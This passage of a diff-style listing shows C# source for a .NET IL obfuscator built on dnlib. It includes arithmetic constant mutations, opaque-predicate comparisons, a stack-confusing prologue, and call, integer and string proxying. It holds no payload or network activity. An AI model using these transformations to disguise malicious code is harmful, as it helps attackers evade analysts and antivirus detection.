+		MethodDef methodDef = ModuleDefMD.Load(typeof(FuncMutation).Module).ResolveTypeDef(MDToken.ToRID(typeof(FuncMutation).MetadataToken)).FindMethod("CharToInt");
+		methodDef.Name = Methods.GenerateString();
+		methodDef.DeclaringType = null;
+		type.Methods.Add(methodDef);
+		Converter = methodDef;
+	}
+
+	public void Process(MethodDef method, ref int index)
+	{
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Call, Converter));
+	}
+
+	public bool Supported(Instruction instr)
+	{
+		return Utils.CheckArithmetic(instr);
+	}
+}

Obfuscator.Obfuscator.Mutation2/ComparerMutation.cs

@@ -0,0 +1,104 @@
+using System;
+using System.Collections.Generic;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.Mutation2;
+
+public class ComparerMutation : iMutation
+{
+	public void Prepare(TypeDef type)
+	{
+		if (type == type.Module.GlobalType)
+		{
+			return;
+		}
+		for (int i = 0; i < type.Methods.Count; i++)
+		{
+			MethodDef methodDef = type.Methods[i];
+			if (!methodDef.HasBody || methodDef.IsConstructor)
+			{
+				continue;
+			}
+			methodDef.Body.SimplifyBranches();
+			for (int j = 0; j < methodDef.Body.Instructions.Count; j++)
+			{
+				if (Utils.CheckArithmetic(methodDef.Body.Instructions[j]))
+				{
+					Execute(methodDef, ref j);
+				}
+			}
+		}
+	}
+
+	public void Execute(MethodDef method, ref int index)
+	{
+		if (method.Body.Instructions[index].OpCode == OpCodes.Call)
+		{
+			return;
+		}
+		int ldcI4Value = method.Body.Instructions[index].GetLdcI4Value();
+		Local local = new Local(method.Module.CorLibTypes.Int32);
+		Local local2 = new Local(method.Module.CorLibTypes.Int32);
+		method.Body.Variables.Add(local);
+		method.Body.Variables.Add(local2);
+		int num = Methods.Random.Next();
+		int num2 = Methods.Random.Next();
+		bool flag = Convert.ToBoolean(Methods.Random.Next(2));
+		int num3;
+		if (flag)
+		{
+			num3 = num2 - num;
+		}
+		else
+		{
+			num3 = Methods.Random.Next();
+			while (num3 + num == num2)
+			{
+				num3 = Methods.Random.Next();
+			}
+		}
+		method.Body.Instructions[index] = Instruction.CreateLdcI4(num);
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Stloc, local));
+		method.Body.Instructions.Insert(++index, Instruction.CreateLdcI4(num3));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Stloc, local2));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Ldloc, local));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Ldloc, local2));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Add));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Ldc_I4, num2));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Ceq));
+		Instruction instruction = OpCodes.Nop.ToInstruction();
+		method.Body.Instructions.Insert(++index, new Instruction(flag ? OpCodes.Brfalse : OpCodes.Brtrue, instruction));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Nop));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Ldc_I4, ldcI4Value));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Stloc, local));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Nop));
+		Instruction instruction2 = OpCodes.Ldloc_S.ToInstruction(local);
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Br, instruction2));
+		method.Body.Instructions.Insert(++index, instruction);
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Ldc_I4, Methods.Random.Next()));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Stloc, local));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Nop));
+		method.Body.Instructions.Insert(++index, instruction2);
+	}
+
+	public void Process(MethodDef method, ref int index)
+	{
+	}
+
+	public static void InsertInstructions(IList<Instruction> instructions, Dictionary<Instruction, int> keyValuePairs)
+	{
+		foreach (KeyValuePair<Instruction, int> keyValuePair in keyValuePairs)
+		{
+			Instruction key = keyValuePair.Key;
+			int value = keyValuePair.Value;
+			instructions.Insert(value, key);
+		}
+	}
+
+	public bool Supported(Instruction instr)
+	{
+		return Utils.CheckArithmetic(instr);
+	}
+}

Obfuscator.Obfuscator.Mutation2/Div.cs

@@ -0,0 +1,27 @@
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.Mutation2;
+
+public class Div : iMutation
+{
+	public void Prepare(TypeDef type)
+	{
+	}
+
+	public void Process(MethodDef method, ref int index)
+	{
+		int ldcI4Value = method.Body.Instructions[index].GetLdcI4Value();
+		int num = Methods.Random.Next(1, 5);
+		method.Body.Instructions[index].OpCode = OpCodes.Ldc_I4;
+		method.Body.Instructions[index].Operand = ldcI4Value * num;
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Ldc_I4, num));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Div));
+	}
+
+	public bool Supported(Instruction instr)
+	{
+		return Utils.CheckArithmetic(instr);
+	}
+}

Obfuscator.Obfuscator.Mutation2/Func.cs

@@ -0,0 +1,49 @@
+using System;
+using System.Linq;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+
+namespace Obfuscator.Obfuscator.Mutation2;
+
+public class Func : iMutation
+{
+	public FieldDef Decryptor { get; set; }
+
+	public void Process(MethodDef method, ref int index)
+	{
+		int ldcI4Value = method.Body.Instructions[index].GetLdcI4Value();
+		method.Body.Instructions[index].OpCode = OpCodes.Ldsfld;
+		method.Body.Instructions[index].Operand = Decryptor;
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Ldc_I4, ldcI4Value));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Callvirt, method.Module.Import(typeof(Func<int, int>).GetMethod("Invoke"))));
+		index -= 2;
+	}
+
+	public FieldDef CreateProperField(TypeDef type)
+	{
+		TypeDef typeDef = ModuleDefMD.Load(typeof(FuncMutation).Module).ResolveTypeDef(MDToken.ToRID(typeof(FuncMutation).MetadataToken));
+		FieldDef fieldDef = typeDef.Fields.FirstOrDefault((FieldDef x) => x.Name == "prao");
+		fieldDef.DeclaringType = null;
+		type.Fields.Add(fieldDef);
+		MethodDef methodDef = typeDef.FindMethod("RET");
+		methodDef.DeclaringType = null;
+		type.Methods.Add(methodDef);
+		MethodDef methodDef2 = type.FindOrCreateStaticConstructor();
+		methodDef2.Body.Instructions.Insert(0, new Instruction(OpCodes.Ldnull));
+		methodDef2.Body.Instructions.Insert(1, new Instruction(OpCodes.Ldftn, methodDef));
+		methodDef2.Body.Instructions.Insert(2, new Instruction(OpCodes.Newobj, type.Module.Import(typeof(Func<int, int>).GetConstructors().First())));
+		methodDef2.Body.Instructions.Insert(3, new Instruction(OpCodes.Stsfld, fieldDef));
+		methodDef2.Body.Instructions.Insert(4, new Instruction(OpCodes.Nop));
+		return fieldDef;
+	}
+
+	public void Prepare(TypeDef type)
+	{
+		Decryptor = CreateProperField(type);
+	}
+
+	public bool Supported(Instruction instr)
+	{
+		return Utils.CheckArithmetic(instr);
+	}
+}

Obfuscator.Obfuscator.Mutation2/FuncMutation.cs

@@ -0,0 +1,18 @@
+using System;
+
+namespace Obfuscator.Obfuscator.Mutation2;
+
+public class FuncMutation
+{
+	public static readonly Func<int, int> prao;
+
+	public static int CharToInt(char shi)
+	{
+		return shi;
+	}
+
+	public static int RET(int i)
+	{
+		return i;
+	}
+}

Obfuscator.Obfuscator.Mutation2/Mul.cs

@@ -0,0 +1,34 @@
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.Mutation2;
+
+public class Mul : iMutation
+{
+	public void Prepare(TypeDef type)
+	{
+	}
+
+	public void Process(MethodDef method, ref int index)
+	{
+		int ldcI4Value = method.Body.Instructions[index].GetLdcI4Value();
+		int num = Methods.Random.Next(1, (int)((double)ldcI4Value / 1.5));
+		int num2 = ldcI4Value / num;
+		while (num * num2 != ldcI4Value)
+		{
+			num = Methods.Random.Next(1, (int)((double)ldcI4Value / 1.5));
+			num2 = ldcI4Value / num;
+		}
+		method.Body.Instructions[index].OpCode = OpCodes.Ldc_I4;
+		method.Body.Instructions[index].Operand = num2;
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Ldc_I4, num));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Mul));
+		index++;
+	}
+
+	public bool Supported(Instruction instr)
+	{
+		return Utils.CheckArithmetic(instr);
+	}
+}

Obfuscator.Obfuscator.Mutation2/MulToShift.cs

@@ -0,0 +1,56 @@
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+
+namespace Obfuscator.Obfuscator.Mutation2;
+
+public class MulToShift : iMutation
+{
+	public void Prepare(TypeDef type)
+	{
+	}
+
+	public void Process(MethodDef method, ref int index)
+	{
+		if (!method.Body.Instructions[index - 1].IsLdcI4() || !method.Body.Instructions[index - 2].IsLdcI4())
+		{
+			return;
+		}
+		int ldcI4Value = method.Body.Instructions[index - 2].GetLdcI4Value();
+		int ldcI4Value2 = method.Body.Instructions[index - 1].GetLdcI4Value();
+		if (ldcI4Value2 < 3)
+		{
+			return;
+		}
+		Local local = new Local(method.Module.CorLibTypes.Int32);
+		method.Body.Variables.Add(local);
+		method.Body.Instructions.Insert(0, new Instruction(OpCodes.Stloc, local));
+		method.Body.Instructions.Insert(0, new Instruction(OpCodes.Ldc_I4, ldcI4Value));
+		index += 2;
+		method.Body.Instructions[index - 2].OpCode = OpCodes.Ldloc;
+		method.Body.Instructions[index - 2].Operand = local;
+		method.Body.Instructions[index - 1].OpCode = OpCodes.Nop;
+		method.Body.Instructions[index].OpCode = OpCodes.Nop;
+		int num = 0;
+		for (int num2 = ldcI4Value2; num2 > 0; num2 >>= 1)
+		{
+			if ((num2 & 1) == 1 && num != 0)
+			{
+				method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Ldloc, local));
+				method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Ldc_I4, num));
+				method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Shl));
+				method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Add));
+			}
+			num++;
+		}
+		if ((ldcI4Value2 & 1) == 0)
+		{
+			method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Ldloc, local));
+			method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Sub));
+		}
+	}
+
+	public bool Supported(Instruction instr)
+	{
+		return instr.OpCode == OpCodes.Mul;
+	}
+}

Obfuscator.Obfuscator.Mutation2/Mutation2.cs

@@ -0,0 +1,44 @@
+using System.Collections.Generic;
+using dnlib.DotNet;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.Mutation2;
+
+public class Mutation2
+{
+	private static List<iMutation> Tasks = new List<iMutation>
+	{
+		new Abs(),
+		new VariableMutation(),
+		new ComparerMutation(),
+		new MulToShift()
+	};
+
+	public static void Execute(ModuleDef Module)
+	{
+		foreach (TypeDef type in Module.Types)
+		{
+			foreach (iMutation task in Tasks)
+			{
+				task.Prepare(type);
+			}
+			for (int i = 0; i < type.Methods.Count; i++)
+			{
+				MethodDef methodDef = type.Methods[i];
+				if (!methodDef.HasBody || methodDef.IsConstructor)
+				{
+					continue;
+				}
+				methodDef.Body.SimplifyBranches();
+				for (int j = 0; j < methodDef.Body.Instructions.Count; j++)
+				{
+					iMutation iMutation2 = Tasks[Methods.Random.Next(Tasks.Count)];
+					if (iMutation2.Supported(methodDef.Body.Instructions[j]))
+					{
+						iMutation2.Process(methodDef, ref j);
+					}
+				}
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.Mutation2/StringLen.cs

@@ -0,0 +1,34 @@
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.Mutation2;
+
+public class StringLen : iMutation
+{
+	public void Prepare(TypeDef type)
+	{
+	}
+
+	public void Process(MethodDef method, ref int index)
+	{
+		if (method.DeclaringType == method.Module.GlobalType)
+		{
+			index--;
+			return;
+		}
+		int ldcI4Value = method.Body.Instructions[index].GetLdcI4Value();
+		int num = Methods.Random.Next(4, 15);
+		string operand = Methods.GenerateString((byte)num);
+		method.Body.Instructions[index].OpCode = OpCodes.Ldc_I4;
+		method.Body.Instructions[index].Operand = ldcI4Value - num;
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Ldstr, operand));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Call, method.Module.Import(typeof(string).GetMethod("get_Length"))));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Add));
+	}
+
+	public bool Supported(Instruction instr)
+	{
+		return Utils.CheckArithmetic(instr);
+	}
+}

Obfuscator.Obfuscator.Mutation2/Sub.cs

@@ -0,0 +1,27 @@
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.Mutation2;
+
+public class Sub : iMutation
+{
+	public void Prepare(TypeDef type)
+	{
+	}
+
+	public void Process(MethodDef method, ref int index)
+	{
+		int ldcI4Value = method.Body.Instructions[index].GetLdcI4Value();
+		int num = Methods.Random.Next((int)((double)ldcI4Value / 1.5));
+		method.Body.Instructions[index].OpCode = OpCodes.Ldc_I4;
+		method.Body.Instructions[index].Operand = ldcI4Value + num;
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Ldc_I4, num));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Sub));
+	}
+
+	public bool Supported(Instruction instr)
+	{
+		return Utils.CheckArithmetic(instr);
+	}
+}

Obfuscator.Obfuscator.Mutation2/Utils.cs

@@ -0,0 +1,19 @@
+using dnlib.DotNet.Emit;
+
+namespace Obfuscator.Obfuscator.Mutation2;
+
+public class Utils
+{
+	public static bool CheckArithmetic(Instruction instruction)
+	{
+		if (!instruction.IsLdcI4())
+		{
+			return false;
+		}
+		if (instruction.GetLdcI4Value() <= 1)
+		{
+			return false;
+		}
+		return true;
+	}
+}

Obfuscator.Obfuscator.Mutation2/VariableMutation.cs

@@ -0,0 +1,27 @@
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+
+namespace Obfuscator.Obfuscator.Mutation2;
+
+public class VariableMutation : iMutation
+{
+	public void Prepare(TypeDef type)
+	{
+	}
+
+	public void Process(MethodDef method, ref int index)
+	{
+		int ldcI4Value = method.Body.Instructions[index].GetLdcI4Value();
+		Local local = new Local(method.Module.CorLibTypes.Int32);
+		method.Body.Variables.Add(local);
+		method.Body.Instructions.Insert(0, new Instruction(OpCodes.Stloc, local));
+		method.Body.Instructions.Insert(0, new Instruction(OpCodes.Ldc_I4, ldcI4Value));
+		index += 2;
+		method.Body.Instructions[index] = new Instruction(OpCodes.Ldloc, local);
+	}
+
+	public bool Supported(Instruction instr)
+	{
+		return Utils.CheckArithmetic(instr);
+	}
+}

Obfuscator.Obfuscator.Mutation2/iMutation.cs

@@ -0,0 +1,13 @@
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+
+namespace Obfuscator.Obfuscator.Mutation2;
+
+public interface iMutation
+{
+	void Process(MethodDef method, ref int index);
+
+	void Prepare(TypeDef type);
+
+	bool Supported(Instruction instr);
+}

Obfuscator.Obfuscator.ProtectStack/ProtectStack.cs

@@ -0,0 +1,61 @@
+using System;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+
+namespace Obfuscator.Obfuscator.ProtectStack;
+
+internal class ProtectStack
+{
+	public static void Execute(ModuleDef mod)
+	{
+		foreach (TypeDef type in mod.Types)
+		{
+			foreach (MethodDef method in type.Methods)
+			{
+				if (!method.HasBody)
+				{
+					break;
+				}
+				CilBody body = method.Body;
+				Instruction instruction = body.Instructions[0];
+				Instruction instruction2 = Instruction.Create(OpCodes.Br_S, instruction);
+				Instruction item = Instruction.Create(OpCodes.Pop);
+				Instruction randomInstruction = GetRandomInstruction(new Random());
+				body.Instructions.Insert(0, randomInstruction);
+				body.Instructions.Insert(1, item);
+				body.Instructions.Insert(2, instruction2);
+				if (body.ExceptionHandlers == null)
+				{
+					continue;
+				}
+				foreach (ExceptionHandler exceptionHandler in body.ExceptionHandlers)
+				{
+					if (exceptionHandler.TryStart == instruction)
+					{
+						exceptionHandler.TryStart = instruction2;
+					}
+					else if (exceptionHandler.HandlerStart == instruction)
+					{
+						exceptionHandler.HandlerStart = instruction2;
+					}
+					else if (exceptionHandler.FilterStart == instruction)
+					{
+						exceptionHandler.FilterStart = instruction2;
+					}
+				}
+			}
+		}
+	}
+
+	private static Instruction GetRandomInstruction(Random random)
+	{
+		return random.Next(0, 5) switch
+		{
+			0 => Instruction.Create(OpCodes.Ldnull), 
+			1 => Instruction.Create(OpCodes.Ldc_I4_0), 
+			2 => Instruction.Create(OpCodes.Ldstr, "Isolator"), 
+			3 => Instruction.Create(OpCodes.Ldc_I8, (uint)random.Next()), 
+			_ => Instruction.Create(OpCodes.Ldc_I8, (long)random.Next()), 
+		};
+	}
+}

Obfuscator.Obfuscator.Proxy/EnumerableExtensions.cs

@@ -0,0 +1,11 @@
+using System.Collections.Generic;
+
+namespace Obfuscator.Obfuscator.Proxy;
+
+public static class EnumerableExtensions
+{
+	public static T Random<T>(this IEnumerable<T> input)
+	{
+		return EnumerableHelper.Random(input);
+	}
+}

Obfuscator.Obfuscator.Proxy/EnumerableHelper.cs

@@ -0,0 +1,21 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+
+namespace Obfuscator.Obfuscator.Proxy;
+
+public static class EnumerableHelper
+{
+	private static readonly Random R;
+
+	static EnumerableHelper()
+	{
+		R = new Random();
+	}
+
+	public static TE Random<TE>(IEnumerable<TE> input)
+	{
+		TE[] array = (input as TE[]) ?? input.ToArray();
+		return array.ElementAt(R.Next(array.Length));
+	}
+}

Obfuscator.Obfuscator.Proxy/ProxyCall.cs

@@ -0,0 +1,120 @@
+using System.Linq;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.Proxy;
+
+public class ProxyCall
+{
+	private static bool Analyse(ModuleDef module, MethodDef method)
+	{
+		if (method.FullName.ToLower().Contains("get_") || method.FullName.ToLower().Contains("get_"))
+		{
+			return false;
+		}
+		if (method.FullName.ToLower().Contains("datetime"))
+		{
+			return false;
+		}
+		if (method.Attributes.ToString().Replace("PrivateScope", "").Contains("Private"))
+		{
+			method.Attributes = MethodAttributes.Public | MethodAttributes.Static;
+		}
+		for (int i = 0; i < method.Body.Instructions.Count(); i++)
+		{
+			if (method.Body.Instructions[i].OpCode == OpCodes.Call && method.Body.Instructions[i].Operand is MethodDef)
+			{
+				MethodAttributes attributes = ((MethodDef)method.Body.Instructions[i].Operand).Attributes;
+				if (attributes.ToString().Contains("Private") || !attributes.ToString().Contains("Static"))
+				{
+					return false;
+				}
+			}
+			else if (method.Body.Instructions[i].OpCode == OpCodes.Ldsfld && method.Body.Instructions[i].Operand is FieldDef)
+			{
+				FieldAttributes attributes2 = ((FieldDef)method.Body.Instructions[i].Operand).Attributes;
+				if (attributes2.ToString().Contains("Private") || !attributes2.ToString().Contains("Static"))
+				{
+					return false;
+				}
+			}
+		}
+		return true;
+	}
+
+	public static void Execute(ModuleDef module)
+	{
+		for (int i = 0; i < Methods.Random.Next(4, 8); i++)
+		{
+			foreach (TypeDef type in module.Types)
+			{
+				if (type.IsGlobalModuleType)
+				{
+					continue;
+				}
+				MethodDef[] array = type.Methods.ToArray();
+				foreach (MethodDef methodDef in array)
+				{
+					if (!methodDef.HasBody)
+					{
+						continue;
+					}
+					for (int k = 0; k < methodDef.Body.Instructions.Count; k++)
+					{
+						if (methodDef.Body.Instructions[k].OpCode != OpCodes.Call)
+						{
+							continue;
+						}
+						try
+						{
+							if (!(methodDef.Body.Instructions[k].Operand is MethodDef))
+							{
+								continue;
+							}
+							MethodDef methodDef2 = methodDef.Body.Instructions[k].Operand as MethodDef;
+							if (!Analyse(module, methodDef2) || methodDef2.Parameters.Count > 4)
+							{
+								continue;
+							}
+							MethodDefUser methodDefUser = new MethodDefUser(Methods.GenerateString(16), methodDef2.MethodSig, methodDef2.ImplAttributes, methodDef2.Attributes);
+							methodDefUser.Body = methodDef2.Body;
+							foreach (ParamDef paramDef in methodDef2.ParamDefs)
+							{
+								methodDefUser.ParamDefs.Add(new ParamDefUser(Methods.GenerateString(10), paramDef.Sequence));
+							}
+							CilBody cilBody = new CilBody();
+							cilBody.Instructions.Add(OpCodes.Nop.ToInstruction());
+							for (int l = 0; l < methodDef2.Parameters.Count; l++)
+							{
+								switch (l)
+								{
+								case 0:
+									cilBody.Instructions.Add(OpCodes.Ldarg_0.ToInstruction());
+									break;
+								case 1:
+									cilBody.Instructions.Add(OpCodes.Ldarg_1.ToInstruction());
+									break;
+								case 2:
+									cilBody.Instructions.Add(OpCodes.Ldarg_2.ToInstruction());
+									break;
+								case 3:
+									cilBody.Instructions.Add(OpCodes.Ldarg_3.ToInstruction());
+									break;
+								}
+							}
+							cilBody.Instructions.Add(OpCodes.Call.ToInstruction(methodDefUser));
+							cilBody.Instructions.Add(OpCodes.Nop.ToInstruction());
+							cilBody.Instructions.Add(OpCodes.Ret.ToInstruction());
+							methodDef2.Body = cilBody;
+							type.Methods.Add(methodDefUser);
+						}
+						catch
+						{
+						}
+					}
+				}
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.Proxy/ProxyInt.cs

@@ -0,0 +1,57 @@
+using System.Collections.Generic;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.Proxy;
+
+public static class ProxyInt
+{
+	public static void Execute(ModuleDef module)
+	{
+		foreach (TypeDef type in module.GetTypes())
+		{
+			if (type.IsGlobalModuleType)
+			{
+				continue;
+			}
+			foreach (MethodDef method in type.Methods)
+			{
+				if (!method.HasBody)
+				{
+					continue;
+				}
+				IList<Instruction> instructions = method.Body.Instructions;
+				for (int i = 0; i < instructions.Count; i++)
+				{
+					if (method.Body.Instructions[i].IsLdcI4())
+					{
+						MethodImplAttributes implFlags = MethodImplAttributes.IL;
+						MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
+						MethodDefUser methodDefUser = new MethodDefUser(Methods.GenerateString(), MethodSig.CreateStatic(module.CorLibTypes.Int32), implFlags, flags);
+						module.GlobalType.Methods.Add(methodDefUser);
+						methodDefUser.Body = new CilBody();
+						methodDefUser.Body.Variables.Add(new Local(module.CorLibTypes.Int32));
+						methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4, instructions[i].GetLdcI4Value()));
+						methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
+						instructions[i].OpCode = OpCodes.Call;
+						instructions[i].Operand = methodDefUser;
+					}
+					else if (method.Body.Instructions[i].OpCode == OpCodes.Ldc_R4)
+					{
+						MethodImplAttributes implFlags2 = MethodImplAttributes.IL;
+						MethodAttributes flags2 = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
+						MethodDefUser methodDefUser2 = new MethodDefUser(Methods.GenerateString(), MethodSig.CreateStatic(module.CorLibTypes.Double), implFlags2, flags2);
+						module.GlobalType.Methods.Add(methodDefUser2);
+						methodDefUser2.Body = new CilBody();
+						methodDefUser2.Body.Variables.Add(new Local(module.CorLibTypes.Double));
+						methodDefUser2.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_R4, (float)method.Body.Instructions[i].Operand));
+						methodDefUser2.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
+						instructions[i].OpCode = OpCodes.Call;
+						instructions[i].Operand = methodDefUser2;
+					}
+				}
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.Proxy/ProxyMeth.cs

@@ -0,0 +1,155 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+
+namespace Obfuscator.Obfuscator.Proxy;
+
+public static class ProxyMeth
+{
+	public static Random rand = new Random();
+
+	public static List<MemberRef> MemberRefList = new List<MemberRef>();
+
+	public static void ScanMemberRef(ModuleDef module)
+	{
+		foreach (TypeDef type in module.Types)
+		{
+			foreach (MethodDef method in type.Methods)
+			{
+				if (!method.HasBody || !method.Body.HasInstructions)
+				{
+					continue;
+				}
+				for (int i = 0; i < method.Body.Instructions.Count - 1; i++)
+				{
+					if (method.Body.Instructions[i].OpCode != OpCodes.Call)
+					{
+						continue;
+					}
+					try
+					{
+						MemberRef memberRef = (MemberRef)method.Body.Instructions[i].Operand;
+						if (!memberRef.HasThis)
+						{
+							MemberRefList.Add(memberRef);
+						}
+					}
+					catch
+					{
+					}
+				}
+			}
+		}
+	}
+
+	public static MethodDef GenerateSwitch(MemberRef original, ModuleDef md)
+	{
+		try
+		{
+			List<TypeSig> list = original.MethodSig.Params.ToList();
+			list.Add(md.CorLibTypes.Int32);
+			MethodImplAttributes implFlags = MethodImplAttributes.IL;
+			MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
+			MethodDef methodDef = new MethodDefUser($"ProxyMeth{rand.Next(0, int.MaxValue)}", MethodSig.CreateStatic(original.MethodSig.RetType, list.ToArray()), implFlags, flags)
+			{
+				Body = new CilBody()
+			};
+			methodDef.Body.Variables.Add(new Local(md.CorLibTypes.Int32));
+			methodDef.Body.Variables.Add(new Local(md.CorLibTypes.Int32));
+			methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ldarg_0));
+			List<Instruction> list2 = new List<Instruction>();
+			Instruction instruction = new Instruction(OpCodes.Switch);
+			methodDef.Body.Instructions.Add(instruction);
+			Instruction instruction2 = new Instruction(OpCodes.Br_S);
+			methodDef.Body.Instructions.Add(instruction2);
+			for (int i = 0; i < 5; i++)
+			{
+				for (int j = 0; j <= original.MethodSig.Params.Count - 1; j++)
+				{
+					methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ldarg, methodDef.Parameters[j]));
+					if (j == 0)
+					{
+						list2.Add(Instruction.Create(OpCodes.Ldarg, methodDef.Parameters[j]));
+					}
+				}
+				Instruction item = Instruction.Create(OpCodes.Ldc_I4, i);
+				methodDef.Body.Instructions.Add(item);
+				methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
+			}
+			Instruction instruction3 = Instruction.Create(OpCodes.Ldnull);
+			methodDef.Body.Instructions.Add(instruction3);
+			methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
+			instruction2.Operand = instruction3;
+			instruction.Operand = list2;
+			return methodDef;
+		}
+		catch
+		{
+			return null;
+		}
+	}
+
+	public static void Execute(ModuleDef module)
+	{
+		ScanMemberRef(module);
+		foreach (TypeDef type in module.GetTypes())
+		{
+			if (type.IsGlobalModuleType)
+			{
+				continue;
+			}
+			MethodDef[] array = type.Methods.ToArray();
+			foreach (MethodDef methodDef in array)
+			{
+				if (!methodDef.HasBody || methodDef.Name.Contains("ProxyMeth"))
+				{
+					continue;
+				}
+				IList<Instruction> instructions = methodDef.Body.Instructions;
+				for (int j = 0; j < instructions.Count; j++)
+				{
+					if (methodDef.Body.Instructions[j].OpCode != OpCodes.Call)
+					{
+						continue;
+					}
+					try
+					{
+						MemberRef original = (MemberRef)methodDef.Body.Instructions[j].Operand;
+						if (original.HasThis)
+						{
+							continue;
+						}
+						MethodDef methodDef2 = GenerateSwitch(original, module);
+						methodDef.DeclaringType.Methods.Add(methodDef2);
+						instructions[j].OpCode = OpCodes.Call;
+						instructions[j].Operand = methodDef2;
+						int value = rand.Next(0, 5);
+						for (int k = 0; k < methodDef2.Body.Instructions.Count - 1; k++)
+						{
+							if (methodDef2.Body.Instructions[k].OpCode != OpCodes.Ldc_I4)
+							{
+								continue;
+							}
+							if (string.Compare(methodDef2.Body.Instructions[k].Operand.ToString(), value.ToString(), StringComparison.Ordinal) != 0)
+							{
+								methodDef2.Body.Instructions[k].OpCode = OpCodes.Call;
+								methodDef2.Body.Instructions[k].Operand = MemberRefList.Where((MemberRef m) => m.MethodSig.Params.Count == original.MethodSig.Params.Count).ToList().Random();
+							}
+							else
+							{
+								methodDef2.Body.Instructions[k].OpCode = OpCodes.Call;
+								methodDef2.Body.Instructions[k].Operand = original;
+							}
+						}
+						methodDef.Body.Instructions.Insert(j, Instruction.CreateLdcI4(value));
+					}
+					catch
+					{
+					}
+				}
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.Proxy/ProxyString.cs

@@ -0,0 +1,42 @@
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.Proxy;
+
+internal class ProxyString
+{
+	public static void Execute(ModuleDef module)
+	{
+		foreach (TypeDef type in module.GetTypes())
+		{
+			if (type.IsGlobalModuleType)
+			{
+				continue;
+			}
+			foreach (MethodDef method in type.Methods)
+			{
+				if (!method.HasBody)
+				{
+					continue;
+				}
+				foreach (Instruction instruction in method.Body.Instructions)
+				{
+					if (instruction.OpCode == OpCodes.Ldstr)
+					{
+						MethodImplAttributes implFlags = MethodImplAttributes.IL;
+						MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
+						MethodDefUser methodDefUser = new MethodDefUser(Methods.GenerateString(), MethodSig.CreateStatic(module.CorLibTypes.String), implFlags, flags);
+						module.GlobalType.Methods.Add(methodDefUser);
+						methodDefUser.Body = new CilBody();
+						methodDefUser.Body.Variables.Add(new Local(module.CorLibTypes.String));
+						methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ldstr, instruction.Operand.ToString()));
